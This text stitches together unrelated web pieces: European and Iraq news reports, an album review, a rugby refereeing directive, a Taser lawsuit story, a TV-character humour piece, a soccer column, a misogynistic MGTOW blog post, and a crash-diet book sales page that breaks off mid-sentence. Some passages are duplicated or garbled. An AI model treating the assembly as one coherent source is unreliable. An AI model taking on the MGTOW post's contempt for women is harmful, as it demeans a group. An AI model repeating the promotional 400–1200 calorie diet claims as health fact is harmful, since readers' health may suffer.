Numerous mouth-watering recipes are included.  We recommend the new Amazon grocery delivery service. Great for cabin owners:  Also published on Medium.
-Poland seeks compensation for Russian ban on fruit  Agriculture Minister Marek Sawicki has appealed to the European Commission to compensate Poland after Russia decided to ban Polish fruit and vegetable imports -- a move Warsaw says was retaliation for EU sanctions against Moscow.The Polish agriculture ministry said the country’s losses could total 500 million euros.Polish media reported that Moscow could also be preparing to ban beef and poultry imports from Poland, after Russian officials claimed they had found dangerous bacteria in such meat.Citing what it said were sanitary reasons, Russia announced its fruit and vegetable ban Wednesday, a day after the EU and United States imposed a range of economic sanctions against Moscow over its role in the Ukraine conflict.Sawicki slammed the Russian embargo, which comes into force on Friday, “as political repression in response to the restrictions imposed by the European Union against Russia."The Polish agriculture ministry said Sawicki would raise the issue of compensation for Poland during talks Friday with European Commission and European Parliament officials.Sawicki "wants to prevent a situation in which Polish vegetable and fruit growers are the main victims of EU and US economic restrictions against Russia,” the Polish agriculture ministry said in a statement.According to the ministry, Poland exported over 804,000 tons of fruit and vegetables worth almost 336 million euros to Russia last year. The Russian market accounts for some 7% of Poland's food exports. Apples account for almost three-quarters of the total volume of fruit produced in Poland.
-This week’s Fixation: Coheed and Cambria’s The Afterman: Ascension/Descension.  Before I can do an even remotely decent job of talking to you about this album, you first have to understand that Coheed and Cambria are about way more than just the music that they play. Their first 5 albums make up a story called The Amory Wars, a sprawling science fiction tale created by Claudio Sanchez (lead singer/guitarist/frontman) which takes place in a world known as Heaven’s Fence. Though the narrative is conveyed primarily through the lyrics of Coheed’s songs, the story is so cohesive that it has spawned several comic books, one full length novel, and an upcoming live-action film.  I would very much love to tell you about the story in great detail, but this, unfortunately, is neither the time nor the place. Suffice to say that it is a fairly standard sci-fi plot — a young man’s family is murdered by a supremely powerful evil dictator and the hero must harness the powers he never knew he had in order to get his revenge and save the galaxy — with heaps of original and really fucking cool aspects that are not at all “standard science fiction”. This deep and detailed story (in which even minor characters have well-developed backgrounds) is conveyed to you via fast-paced and unique alternative-progressive rock.  Calling Coheed and Cambria an “alt-prog rock” band probably doesn’t give you any idea of what they sound like, but they are very difficult to put into a genre as they really don’t sound like anyone else. I’ve seen them play midday at Warped Tour, opened for by Circa Survive, and play a stadium show in between Trivium and Slipknot, and I can tell you they really don’t sound like any of the bands that they play with. Although their music is original and interesting, it is Claudio Sanchez’s voice that makes them so unique. Able to switch seamlessly between crooning and screaming, and possessing the ability to sound one minute like a giggling child and the next minute like a demon from hell, Claudio’s vocal talents are just about impossible to categorize.  Ascension and Descension, Coheed’s 6th and 7th albums, are the two parts (released 4 months apart) of the double album The Afterman. This double album, more of a precursor to The Amory Wars than another part of the saga, tells the story of Sirius Amory’s (after whom The Amory Wars is named) discovery of The Keywork, the system of energy that holds together the 78 worlds of Heaven’s Fence. Although the people of Heaven’s Fence knew that The Keywork existed, it was Sirius who discovered the true nature of the force that makes it up: the energy of The Keywork is composed of the souls of the dead.  Sirius discovers this truth by piloting a ship out into space and making physical contact with the energy of The Keywork. When he touches this energy he is possessed by the souls of people who have died. During these possessions, Sirius experiences the lives these souls once lived. These experiences make up several tracks on the double album: “Key Entity Extractions I-V”.  Each of these Key Entity Extractions reflects the soul of the person whose life Sirius is experiencing. The first three — “Domino the Destitute”, “Holly Wood the Cracked”, and “Vic the Butcher” — are intense, dirty, frightful songs chock full of wailing, both of the musical and lyrical variety. The three people whose stories are told in the songs were morally bankrupt and vicious in life, and in death their souls try their utmost to destroy Sirius.  The first few times I listened to this album I didn’t find these songs, particularly “Holly Wood” and “Vic”, pleasant to listen to. However, upon learning the details of the story I realized that the point is not a pleasant listening experience, it is to feel what Sirius felt as these damned souls attempted to tear him apart. And while it took me several listens to get behind “Holly Wood” and “Vic”, “Domino the Destitute” is just a bangin’ song.  If The Afterman were composed of nothing but twisted, vicious songs like the first three Key Entity Extractions I probably wouldn’t be all that into it, so thank Claudio that this is not the case. Key Entity Extractions IV and V, while still upbeat and hard rocking, have a distinctly powerful and benevolent feel, as the people whose stories they tell — Evagria the Faithful and Sentry the Defiant — were noble, just, and good in life, and in death their souls struggle to save Sirius from the tortures of Domino, Holly, and Vic.  Mixed in with all of these fast-paced, hard rocking songs are sweet, feel-good tunes like “Away We Go”, and “2’s My Favorite 1”, as well as quiet, mournful, beautiful songs like “Subtraction” and, my personal favorite song of the entire double album, the title track “The Afterman”.  I could go on and on about how much I like Coheed and Cambria (named, by the way, after two of the main characters of The Amory Wars), how fascinating I find the story, and how much I wish more bands had a narrative track running through their music the way that Coheed does. However I think I’ve taken up quite enough of your time. Thanks for sticking with me everyone, I hope you enjoyed reading this as much as I enjoyed writing it.  – Zev  Advertisements
-Today is Memorial Day in the US which means its a day to remember those who have died in war. What group has died in war more than any other group? Men, in particular young men, and many young men died as nothing more than cannon fodder.  The modern equivalent of cannon fodder does not involve drafting men to die in wars. The modern equivalent of cannon fodder is attempting to get young men to follow gynocentric scripts for the benefit of women which involves getting married and/or having men’s income transferred to women via taxes and government spending. The tradcons, the feminists, and other groups are all guilty of trying use young men as cannon fodder. It’s not an exaggeration to say that all of these groups want to use young men as cannon fodder. They want young men to do things that in the best case scenario not in their best interests and in the worst case scenario will involve losing your assets and your children, and being thrown in prison.  What groups are trying to draft young men as cannon fodder? Hollenhund describes each group and their respective script:  In online parlance, “MGTOW” basically refers to any man who’s off-script. There are many scripts out there. The tradcon / white nationalist script: bust your ass and remain celibate, then marry some supposedly good and worthy Christian “virgin”, move to some rural area, have lots of kids and homeschool them, grow your own food and brag about your lifestyle on the Internet. The feminist script: bust your ass and have egalitarian relationships with feminist women based on mutual respect, marry an ageing spinster or single mother, have 1 or 2 children and indoctrinate them with feminism, move to the suburbs, pay off your wife’s debts, brag about it all on the Internet and then tearfully claim it’s all your fault when she frivorces you and ruins your life. The MHRA script: bust your ass and do lots of activism on behalf of MRA organizations. Donate money, show up on protests and conferences. Paint a target on your back for tradcons and feminists to shoot at. Whenever attacked, claim that you support “gender equality” and love women. The PUA script: bust your ass, work out like crazy, spend your free time learning all sorts of “valuable” skills, go on a diet, approach 10 women everyday, travel the Third World, brag about it all online, then move to the Philippines or Latvia when you’re tired of it all, then self-publish your memoirs in online format and sell it on Amazon. The people pushing these scripts are all targeting the same demographic, young single betas, so they are in fierce competition. What is making their job even harder is that a growing segment of these betas are refusing to follow any script. This is making more and more people angry and frustrated, as evidenced by increasingly shrill public discourse about MGTOWs and the “Sexodus”. Young men are supposed to be dumb disposable shits, after all, and follow a script. But a growing number of them simply won’t do it.  Each of these groups is trying to draft young men as cannon fodder, and they’re all using the same tactic in trying to draft them, shaming language. However, it is not working. Most of these young men have never heard of MGTOW, yet they have decided to refuse to become cannon fodder for these groups, effectively becoming MGTOW.  Why are young men refusing to become cannon fodder in increasing numbers? First, the attacks on them are become more and more shrill which just steels their resolve to become cannon fodder. Each of the groups that want to use men as cannon fodder are not offering young men any incentives to follow them. There’s a saying that was said in the Soviet Union, “They pretend to pay us. We pretend to work.” Even the Soviets understood somewhat that incentives matter which is more than can be said for any of the groups that Hollenhund listed. Sending young men the equivalent of increasingly insane strong worded letters is not a strategy that will work to convince young men.  Second, young men see just how bad women are becoming. This is a strong disincentive to join any group that wants to use them as cannon fodder. Young men see the behavior of women and are getting more and more fed up with them for good reason. In 6 years of blogging, the most popular page on this blog by far is a page where I documented several comments from The Spearhead where young men were talking about how they are fed up with women. The second most popular page on this blog was a follow up to that page. This is not a coincidence. Those pages represent how growing numbers of young men feel about women due to their experiences with women.  Why should a young man become cannon fodder for the indirect or direct benefit of women they are fed up with? Even if a young man is willing to sacrifice himself as cannon fodder, he isn’t going to sacrifice himself for a group he is fed up with and likely hates him. More and more young men are figuring this out and refuse to become cannon fodder.  Like this: Like Loading...
-Many of you will be aware of a lineout tactic adopted at the recent Junior World Championship whereby the non-ball-winning team chooses NOT to make physical contact with the players of the ball-winning team, once the ball has been thrown-in and won. This means that no maul is created because only the players of one team are gathered around the ball carrier.  The IRB provided direction on how to referee this circumstance.  In order to provide clarity, please instruct all referees to rule as follows:  If the non-ball-winning team in the line out choose to not engage the line out drive by “leaving the line out as a group”, PENALTY KICK to team in possession.  team in the line out choose to engage the line out drive by “leaving the line out as a group”, to team in possession. If the non-ball-winning team in the line out choose to not engage the line out drive by simply opening up a gap and “creating space” and they remain at the lineout, the following process would be followed: the ball-winning team would need to keep the ball with the front player, if they were to drive down-field (therefore play on, general play – non-ball-winning players could either engage to form a maul, or tackle the ball carrier only). if they immediately hand it back to a player behind the front player, the referee will tell them to “use it” which they must do immediately. if they drive forward and the ball is in possession of a player behind the front player, the referee will award a scrum for “accidental offside” rather than a Penalty Kick for obstruction.  team in the line out choose to engage the line out drive by simply opening up a gap and “creating space” and they remain at the lineout, the following process would be followed:  We believe that teams who are adept at mauling will very quickly make use of their options to their advantage and therefore non-ball-winning teams will be taking a massive risk if they choose not to compete and, therefore, create the initial maul.  The message to referees regarding the ball-winning team formation is:  We need to ensure that the ball is not transferred from the Jumper to the back player before a maul is formed. We need to be FAR MORE vigilant on team-in-possession players “joining the maul ahead of the ball carrier and/or the last player on their own side of the maul” – we need to ensure team-in-possession players join from the back (just as we expect the non-possession team to do).  Share this: Facebook  Twitter  Email  Print  Like this: Like Loading...
-Signup to receive a daily roundup of the top LGBT+ news stories from around the world  Labour leader Jeremy Corbyn is demanding “mandatory equality training” for bus drivers.  The left-wing politician unveiled a new Labour Party “bus strategy” on April Fools Day, though we are assured that the policy document is actually genuine.  The party leader says he wants to “require all bus drivers and staff at bus terminals to complete approved disability equality and awareness training”.  His other promises include “Wi-Fi enabled buses”, “concessionary fares for 16-19 year olds”, and a “commitment to low emissions vehicles”  Mr Corbyn said: “For too long the bus industry has put profit before passengers. Labour will change that.”  He added: “Labour will create the freedom for councils to run first class bus services which the public are proud of.  “The Tory legacy brought rising fares, plummeting passenger numbers and too many areas where pensioners have a bus pass but no bus.  “Labour wants to see local communities empowered to determine their own priorities and reverse the decline in bus services.”  The equality training pledge comes after a number of incidents on public transport.  In September, a gay couple were allegedly kicked off a London bus after a driver went on a racist and homophobic tirade.  There have also been a string of racist incidents on buses.  One bus driver who is definitely in need of some equality training is the guy currently touring the US on a bus preaching an anti-transgender message.  That bus bears the message: “It’s Biology: Boys are boys…and always will be. Girls are girls…and always will be. You can’t change sex.”
-CLEVELAND, Ohio — The federal civil rights suit filed in October 2010 over a controversial Cleveland police officer's use of a Taser can proceed, the 6th U.S. Circuit Court of Appeals in Cincinnati ruled Wednesday.  The case will return to the federal court in Cleveland and move forward in the midst of a U.S. Justice Department investigation of the Cleveland Police Department's regulations on the use of excessive force and how supervisors monitor it.  Attorneys for retired Patrolman Jim Simone had tried to have the suit thrown out by asserting that Simone was justified in using a stun gun on a suspect who may have had a gun.  The appeals court rejected that argument and ruled that citizens suspected of having a gun "clearly have a right to not be tazed when not resisting arrest," attorney Nick DiCello said. "Had the ruling gone the other way, any person suspected of carrying a gun could be tazed."  DiCello filed the suit on behalf of Rafael Correa, 31, of Cleveland.  Simone and other officers encountered Correa May 15, 2010, near Detroit Avenue and West 28th Street when Simone was responding to a call about an armed man assaulting someone at a nightclub.  Correa was shirtless, had his arms up and was on his knees when Simone used the Taser to shock him, according to the parties and a video from Simone dashboard camera  Two other patrolmen then tackled Correa to the ground and handcuffed him.  "He was unconscious and bleeding from the eye when the officers searched him and did not find a gun," DiCello said. "They knew they had a problem, so they charged him with assault, obstruction and disorderly conduct."  The assault charge was based on a woman's statement that Correa had spit on her at the club. Correa spent the next four days in jail. Prosecutors dropped the charges in September.  The civil suit seeks at least $75,000 in damages and accuses of Simone of battery, using excessive force and making a false arrest.  Simone said in a previous interview that he used the Taser because he was alone and Correa and failed to obey his order to lie down.  Simone, whose nickname was "Super Cop," shot and killed five suspects in the line of duty before he retired in March 2011.  A Plain Dealer analysis in 2011 found that Cleveland police officers used Tasers to subdue suspects 969 times between October 2005 and March 2011. And during that period, Chief Michael McGrath and other supervisors found the Taser use appropriate in all but five of the cases they reviewed. The 99.5 percent clearance rate "strains credibility," said Samuel Walker, a criminal-justice professor emeritus at the University of Nebraska at Omaha who focuses on police accountability.
-The 5th season of Bob’s Burgers has been unleashed on Netflix and I have successfully finished all twenty-one episodes within three days. That kind of love for a show cannot go without some kind of testament to its glory of crude humor, incredible voice acting, and a whole lot of burgers.  I, therefore, give you another one of my series, Bob’s Burgers (SpoonU Version).  Bob – Burger  You are what you eat. In general, burgers can be either simple or complex. Bob definitely embodies both of these traits.  For the most part, Bob is the most monotonous and unchanging person in the show. He just wants to play it safe. On other days though, he strips nude for his health inspector, tries crack with customers, and puts his Thanksgiving turkeys in the toilet. You know, just the everyday stuff with this guy.  Linda – Lots and Lots of Wine  A glass of wine a day is said to have a lot of positive benefits to a person. What about not just one glass of wine, but a buttload of wine going straight down the hatchet without remorse? You would probably turn pretty woozy and silly with that much alcohol in your body.  Linda, being an actual wine enthusiast, can definitely come off as giddy and far from the smartest individual in the show. She also can’t seem to keep any secrets, which is something that drunk people aren’t known for. Linda definitely cannot hang.  Tina – Potato  Potato. Not much to think about. It’s a starchy crop and that’s about it. But is it really? You can turn a potato into many different things (mashed potatoes, potato soup, potato salad). But if not done right, your potato concoction might go from spud to dud.  When you look at Tina, you just think potato. While seemingly dull and ordinary, Tina might say something like, “If you think about it, any box can have vibrators in it.” Her random, witty moments teach us to never underestimate Tina.  Gene – Unlimited Supply of Donuts  Donuts are essentially dough that is covered in sugar. Good stuff without a doubt. However, after three or four of these sweet treats, you might get a little sick. Gene Belcher is one of the few heroes who will gladly keep eating no matter what.  Just like a donut, Gene is a round individual who will eat almost anything. He has a ton of energy all the time, most likely from all that sugar he consumes. He definitely isn’t the smartest human being in the world, proving how an unlimited supply of donuts can possibly hinder brain development.  Louise – Ghost Pepper  Louise is pretty much diabolical all of the time. Think about the time she changed the restaurant into a gambling site to earn a profit and worked with weed suppliers. Don’t let her seemingly innocent nature fool you.  The ghost pepper works in the same way. Ordinary at first, the pepper will precede to make Noah Ark-sized waves come out of your eyes, you attempting to extinguish the fire on your tongue. People still appreciate her twisted humor, just like how people do the ghost pepper challenge knowing it will hurt a lot.  Gayle – Crab  If you’ve ever eaten crab, you know that it’s really a pain in the ass to eat. Don’t get me wrong, I love crab. But the whole process of cracking the shell in order to get the meat makes me rage quit and not want to eat.  Linda’s sister, Gayle, is a caring person. However, in order to reach that good spirited person, you have to peel off her shells of growing anxiety. You have to ignore her strange sleeping rituals, you have to try to forget her crude paintings of butts and breasts, and you have to disregard her cats (oh my god, not her cats).  Teddy – Jar of Cookie Butter  Cookie butter is just one of those things that are super addicting, and we know it’s not super healthy. But I mean, screw it. It’s cookie butter and it’s delicious, despite it having no real nutritional value.  For Teddy, burgers are addicting. One time he paid a guy hundreds of dollars to buy him one so that he could eat it in the bathroom in order to get around Bob’s ban. This man has no chill. Nothing stops him from his burgers, yet we love him for having such a big heart.  Jimmy Pesto Sr. – Stinky Cheese  Stinky cheese is supposedly made into some tasty and brilliant things in some cultures. But c’mon. The word “stinky” is in the name. I ain’t thrilled about it. It’s just here to ruin taste buds and lives.  Jimmy Pesto Sr. does not get the punny satisfaction of being associated with pesto, but rather with stinky cheese. That pungent flavor stays with you just like the stench of Jimmy Pesto Sr. Known as the bitter rival of Bob, all he does is act like a huge d-bag lingering around to ruin Bob’s day whenever he gets the chance.  Jimmy Pesto Jr. – Pesto  I mean one of the Pesto’s had to be represented with actual pesto right? Pesto might be seen as slimy and it’s color is not aesthetically pleasing really, initially making someone think twice before trying it. But pesto always has one characteristic that beats out all the rest — it’s amazing flavor.  Jimmy Pesto, for the most part, is pretty stubborn and cocky in what he can do, making him not that likable at first. But, look at those dance moves below. He knows how to live life, and I suppose that’s what we like about him. Not to mention, his butt is pretty impressive as well (according to Tina, not me).  Ollie and Andy Pesto – Milk and Cereal  Cereal and milk go hand and hand. They are inseparable. If the milk is rotten or if the cereal is stale, one of them will ruin the taste of the other, spoiling the whole meal. But no matter what, the two foods are inseparable.  Ollie and Andy are twin brothers who are meant for one another and cannot be seen without the other, despite being terrible influences on each other. They eat glue, have “fun-cussions,” share tampons, and rub each other’s eyes to get pink eye. But I mean, c’mon, they’re adorably close. That should be all that matters.  Tammy – Corn on a Cob  If you ever have had corn on a cob, you know that it can be tasty but that it is not an ideal food to eat with other people because of how messy it can get. Corn stuck in teeth, no toothpick available, impending picture coming up where you have to smile and show all that corn in the crevice of your gums… No thanks.  Tammy is that one kernel you can’t get our of your teeth. She can be “delectable” when you initially meet her. BUT towards the end of the relationship, you come to realize that she’s pretentious, selfish, and egotistical. Definitely annoying to hang with, exactly like hoW annoying it is to have corn stuck in your teeth.  Mr. Frond – Redbull  Redbull is one hell of a drink, it gives you wings (disclaimer: it does not actually give you wings)! It will get you from 0 to 100 real quick, hyping you up in a moment of seconds. Drinking too much might leave you with a bit too much of enthusiasm unfortunately.  The Belcher kids’ school guidance counselor, Mr. Frond, attempts to help troubled children with the fire of passion and love (maybe a little bit too much love). He really tries his best to make the kids excited for school with his definition of fun, something that however does not translate over to the language of the students.  Mr. Fischoeder – Surströmming  If you have never heard of surströmming, go on Youtube and educate yourself by watching many attempt but fail to swallow this Swedish staple. With an odor that will literally make your eyes well up with tears, surströmming is a strange item that should not be messed with.  Mr. Fischoeder’s name is literally “fish odor.” He also has a creeping presence everywhere in Bob’s life at all the wrong times. He is a very peculiar character with weird habits that puts fear into the hearts of the Belcher family. Spooky. And very hard to swallow.
-By Tony Edwards – San Jose, CA (Mar 3, 2015) US Soccer Players – Not every weekend will you be able to say, ‘come see Raul play in Sacramento (on turf),’ but judging from this gallery in the Sacramento Bee, maybe not all of the 20,000 plus people who came to Saturday’s Sacramento Republic FC game against the Cosmos knew, or cared, who Raul is. The Cosmos won the friendly 3-1, but that wasn’t really the story. Sacramento sold 20,000 tickets for a friendly. Not a friendly against some European or Mexican club; not a friendly boosted by Earthquakes fans driving up I-80 East; no, it was against an NASL club.  Yes, the Cosmos brought and played Raul and Marcos Senna, but these fans were there to see their team and to send a statement to MLS. As one fan said in the article: “The support is there. The funding is there. What more could MLS want?”  It’s a good question: what more does MLS want? Big-time ownership? Check. NFL links? Check. Local government support? Check. Top 20 television market? Check.  The next step in MLS expansion might be a beauty contest between Minnesota and Sacramento. The again, the league doesn’t have to make this Sacramento or Minnesota. There are a couple of easy solutions to ’24 teams in place by 2018’ that would offer the most opportunity for everyone involved.  The underlying question in Sacramento, and in Minnesota, is simple. Why would MLS ignore the opportunities? The underlying threat is, if the MLS answer is ‘give us five more years, you’re in the next round of expansion,’ then the momentum is likely gone along with the big-time ownership. The other question is, what else does MLS want? A chimera in Miami or real cash from Minnesota and Sacramento?  For now, we’ll continue to see Sacramento outdrawing some MLS clubs and all the other NASL clubs. Led by former USMNT player Preki, the Republic will no doubt continue to be successful on the field as players realize their best chance to move to MLS might be to ride the Sacramento train. More broadly, however, we may also be seeing the last opportunity for a community to come out of nowhere, as it were, to make the successful case they belong in MLS.  We don’t often remember how a franchise ended up in Columbus. The city wasn’t on the initial list of potential franchises. With more than 11,000 season-ticket pledges, MLS paid attention back in the mid-1990s. In a league that will remain dependent on local revenue for the time being, a community that will help with a stadium and buy a considerable number of season-tickets is still important. It’s basic that you go where the market exists, now and in the future.  But Tony, Sacramento doesn’t do much for the league’s TV ratings or footprint. Even though Sacramento is a large-ish TV market, the idea that domestic soccer will draw considerable ratings any time soon is problematic in judging expansion markets. Ratings, per se, are nice, but they don’t tell the real story. Who watches is more important than how many. That’s why golf is still on television after all these years.  At this stage of MLS’ existence, there aren’t any more markets without questions. Maybe there never were. Sacramento has offered evidence. Not made up crowd numbers or vague promises by local governments, but evidence. As much as MLS might hope for a miracle in Miami, the real future of the league may well continue to be in places like Portland, Salt Lake, Seattle, Columbus, and sooner than later Sacramento.  Tony Edwards is a soccer writer from the Bay Area.  More from Tony Edwards:
-Iraq was braced on Friday for a return to a level of sectarian war last seen almost a decade ago as Shia fighters rushed to Samarra to confront Sunni insurgents and the country's leading Shia cleric called on his followers to take up arms to defend "their country, their people and their holy places"  Convoys of fighters were seen early on Friday being escorted north by Iraqi police trucks from Baghdad to Samarra, the central city where insurgents – led by the Sunni militant group the Islamic State of Iraq in the Levant (Isis) – were in control after a lightning strike south.  The volunteer Shia fighters were quickly assembled after Iraqi forces abandoned their positions in most of the area, leaving only a small number of troops to guard the Imam al-Askari shrines – the two shrines blown up by insurgents eight years ago, triggering the sectarian war that almost destroyed the country.  Hours later a statement from Iraq's most influential Shia cleric, Grand Ayatollah Ali al-Sistani, read to his followers at Friday prayers in Kerbala urged them to take up arms against the Sunni insurgents. "People who are capable of carrying arms and fighting the terrorists in defence of their country … should volunteer to join the security forces to achieve this sacred goal," the statement said.  Samarra is the fourth northern city to have all but fallen out of government control. The embattled prime minister, Nouri al-Maliki, appears to have drawn battle lines further south in Taiji, hoping to defend Baghdad against insurgents who have occupied the north virtually unopposed.  The fast-moving insurgency has emerged as the biggest threat to Iraq's stability since the US withdrawal at the end of 2011.  The UN human rights spokesman, Rupert Colville, said on Friday that hundreds of people were killed, many of them summarily executed, after Isis overran Mosul on Tuesday.  "We've received reports of the summary execution of Iraqi army soldiers during the capture of Mosul and of 17 civilians in one particular street," Colville said, citing the UN mission to Iraq. "There was also the execution of a court employee in the Dawasa area in central Mosul and the execution of 12 people in Dawasa who were believed to have been serving with the Iraq security services or possibly with members of the police."  He said the UN mission had interviewed some of the 500,000 who fled Mosul. A further 40,000 people are were estimated to have fled Tikrit and Samara, according to the International Organisation for Migration.  Barack Obama on Thursday set the stage for renewed US military action in Iraq when he said his national security chiefs were looking at any and every way they could help the Iraqi authorities. White House officials said the president did not envision any circumstances in which ground troops could return to the country. Air strikes, however, are under active consideration.  The US secretary of state, John Kerry, described the crisis as "a real wake-up call" to Iraq's divided political leadership, and urged them to set aside "persistent divisiveness and gridlock".  "We are laser-focused on dealing with the crisis at hand," Kerry said after discussing Iraq with his British counterpart, William Hague, at a conference in London. "Now is the time for Iraq's leaders to come together and to show unity. Political division, fuelled by ethnic or sectarian differences simply cannot be allowed to steal from the Iraqi people what so many have given so much for over the course of these last years."  Describing Isis as "the enemy of decency", Kerry said he did not believe Iran or any other regional power felt it would benefit from the current situation in Iraq.  Military capability within Iraq's government forces was not the issue, he argued: "What has been lacking in Iraq in these last weeks and months has not been a capacity for a trained military to respond, not a lack of numbers to stand up to the 7,000 Isil, but a lack of political will."  He added: "Prime Minister Maliki and all Iraqi leaders need to do more to put sectarian differences aside and to come together in unity and begin being more representative and inclusive."  However, Kerry added, Washington has invested too many troops' lives and too much time and money to back away: "I don't think anybody in the region or in this administration truly believes that it's in the interests of the United States to turn our backs on Iraq."  Heavy clashes had broken out by late Friday morning on the outskirts of Samarra between the Shia volunteers and Sunni insurgents who had been trying to win over residents, some of whom appear to view the new arrivals as liberators.  Witnesses said the shrines remained undamaged so far and that the insurgents had not been menacing residents. "Some of them have long hair and they are carrying black flags," said one man. "They are Arabs from other countries."  The Samarra shrines were twice reduced to rubble in February and April 2006 in attacks that sparked a brutal two-year sectarian war across Iraq. Since then, Shia Islamic sites have remained key targets as Isis-led insurgent groups try to draw the Shia-led government back into the fight.  Meanwhile, Iraqi officials who remained in the northern city of Kirkuk, which was seized by Kurdish peshmerga forces on Thursday, said the Kurds were consolidating their presence.  "They came to stay," said one police captain on Friday. "They're not going anywhere."  The Kurdish control of Kirkuk, a city coveted by them for centuries, is one of the biggest shifts in a week that has starkly exposed the impotence of the government and the frailty of Iraq's borders.  Officials in Baghdad have conceded that the country is at increasing risk of crumbling along ethnic sectarian lines.  Isis has been handing out flyers in the towns it has seized assuring residents who have remained that it is there to protect their interests. The campaign for hearts and minds is gaining some traction, with some residents railing against perceived injustices at the hands of the Shia majority government. But on Thursday it said it would introduce sharia law in Mosul and other towns, warning women to stay indoors and threatening to cut off the hands of thieves. "People, you have tried secular regimes … This is now the era of the Islamic state," it proclaimed.  Iraqi officials estimate the total number of Isis forces in Iraq at around 6,000.
-Description  About the Rapid Fat Loss Handbook  The Rapid Fat Loss Handbook offers a scientifically based approach to quick weight and fat loss. Recognizing that people need or simply want to lose weight and fat rapidly, I set out to develop the safest, most effective way of accomplishing that goal.  I based the program around the idea of creating a diet that would provide the fewest calories possible while still providing all of the essential nutrients required by the body: protein, essential fatty acids, vitamins and minerals. This provides simply the safest and sanest way to lose fat quickly without sacrificing health (or muscle mass).  Every aspect about how to set up the diet is laid out in a step by step form and the diet is based around whole foods that can be found at any market. With purchase of the book, you’ll also receive instructions for how to access an online calculator that will set up the diet and provide food recommendations.  As well, the diet also incorporates concepts I’ve discussed on this site: free meals, refeeds and full diet breaks to help with both adherence and the body’s tendency to fight back when dieting. Guidelines are provided for when to take them, how to use them, etc.  In addition, guidelines for moving back to maintenance, as well as for using the program to transition into a more moderate fat loss diet are provided in detail.  Specific training guidelines are also provided in order to provide the best results with the least time investment. Massive amounts of exercise aren’t needed; quite in fact, too much exercise while on the rapid fat loss program can hinder results. Quite in fact, for the extremely overweight, no exercise is actually required to reap the benefits of the program.  The book provides specific recommendations (for everyone from beginners to advanced trainees) for both resistance training and aerobic activity in terms of how often and how much will provide the best results.  As well, realizing that most people can’t or won’t join a gym, I developed a small home-exercise handbook outlining a basic routine that can be followed with no or minimal equipment. This is included with your purchase as a digital download.  Table of Contents  Introduction  Chapter 1: Just how quickly?  Chapter 2: When is a crash diet appropriate?  Chapter 3: Basic nutrition overview  Chapter 4: Nutrient Metabolism Overview  Chapter 5: An Overview of the Diet  Chapter 6: Estimating body fat percentage  Chapter 7: Exercise  Chapter 8: Setting up the diet  Chapter 9: Metabolic slowdown and what to do about it  Chapter 10: Free meals, refeeds and diet breaks  Chapter 11: Ending the Diet – Introduction  Chapter 12: Moving to Maintenance: Non-counting Method Part 1  Chapter 13: Moving to Maintenance: Non-counting Method Part 2  Chapter 14: Moving to Maintenance: Calculation method  Chapter 15: Back To Dieting  Appendix 1: BMI and Body fat charts  Excerpt  The following is an excerpt from Chapter 1: Just How Quickly?  What can you expect?  On average, caloric intakes on this diet will come out to between 400 to 1200 calories per day coming almost exclusively from protein. For those of you familiar with ketogenic (low- carbohydrate, high-fat) diets, a PSMF is essentially a ketogenic diet without the dietary fat. Obviously, this will represent a fairly large caloric deficit; how large depending on your starting body weight and activity levels.  So with all of that in mind, you may still be wondering what you can expect in terms of true fat loss per week. A lot of it, actually, will depend on where you’re starting out body weight wise (activity also factors in), as that determines your maintenance caloric level.  A 165-pound male with normal activity patterns may have a maintenance requirement of about 2700 calories per day. At 800 calories per day on this diet, that’s almost a 2000 calorie per day deficit, 14,000 calories over a week, 28,000 calories over 2 weeks (note there is a slowing of metabolic rat that reduces these values somewhat). Assuming all of the true (non-water) weight lost was fat (it won’t be), that should be an 8-pound fat loss in 2 weeks (28,000 / 3,500 = 8 pounds) or approximately 2/3rd of a pound of fat lost per day. The true fat loss will be lower because of various inefficiencies and the slowdown of metabolic rate (which can start after only 3-4 days of severe caloric restriction).  A larger individual, say 250 pounds, may have a maintenance caloric requirement near 3,750 calories per day. At 800 cal per day on this diet, that’s a 3,000-calorie per day  deficit. Over 2 weeks, that’s a 42,000-calorie deficit, divided by 3,500 calories per pound of fat equals 12 pounds of fat. That’s on top of the 10 or more pounds of water that may be lost.  Females or lighter individuals with their generally lower maintenance caloric requirements will lose less. True fat losses of 1/2 pound per day or slightly less may be all that they get: that still amounts to a considerable fat loss (6-7 pounds true fat loss over 2 weeks) along with the extra water weight loss.  Customer Feedback  If a picture is worth a thousand words, then Jay’s before and after pictures here should tell you everything you need to know.  “I purchased Lyle McDonald’s Rapid Fat Loss Handbook in hopes of losing a few pounds quickly. The diet did not disappoint, in just 10 days I lost 7.8 lbs, going from 133 to 125 pounds!”  – Mary Ellen, South Carolina  “I’ve been lifting weights for 35 years, been in the medical field for 20 years, have been a critical care nurse for 12 years. I am well aware of the nutritional needs of humans, and nearly every theory of dieting ever advanced. I’ve done most every type of diet. I have never had such an easy time losing so much fat with so little muscle loss in such a short period of time (50 pounds in 2 1/2 months) as I have with Lyle’s PSMF.  In addition, and more importantly, after just one month on the diet, markers of health…blood pressure, resting heart rate, cholesterol, triglycerides, among others…all went from really REALLY horrid to just about perfect. Truly amazing.”  – David W Cohen, NV  “I put a world class BJJ (brown belt) athlete on a modified RFL diet about 3 weeks before the Pan American games 30 March in Los Angeles. He’s my coach’s son. I synopsized the diet for him so it was easy-to-read, is all. He called in a panic 3 weeks out because the Pan American games were approaching and he was still 4# over weight and hadn’t been able to lose it on his own. The guy was very lean already so it’s a tricky situation but he pulled it off. March 30th he won the gold medal in his weight class. He weighed in 1# below weight, he looked and felt great and fought like a freak.  Back to the kid, now his own BJJ coach (who also competes and also won gold 30 March in the Masters black belt division) sent word that in observing how well Zak performed on the diet and going on to win the Pan Ams that he wants to do it as well to drop a little weight for the upcoming BJJ World’s tournament the first week of June.  Attached is a photo when he won the finals. You can see the shape he’s in. He’s a BJJ phenom. He’s just beaten the guy who’s been an arch rival for years. Very tough match.”  “I am amazed at how this program worked for me. Knowing that a refeed/free meal was right around the corner gave me the willpower to be STRICT with the low calorie days. Unlike most programs that tell you how to lose weight, RFH also devotes several chapters about how to maintain your weight. The book is very concise and I couldn’t be happier about my results!”  J. Tsoi – Houston, Tx  “Your Rapid Fat Loss e-book really put me on the right course. I have gone from 305 to 279 in 74 days. Your no nonsense plan is extremely easy to follow and the best part is……. IT WORKS!!!!! Thank you for this fantastic information that WILL help me achieve the body of my dreams.”  Forever Grateful,  – Bill Evans in Seaford Delaware  “Looking for a fast and easy way to lose weight? There are plenty of so-called crash diets, but only one diet rooted in science and physiology allows you to do so safely without losing precious muscle mass and slowing down your metabolism – the Protein Sparing Modified Fast (PSMF). In The Rapid Fat 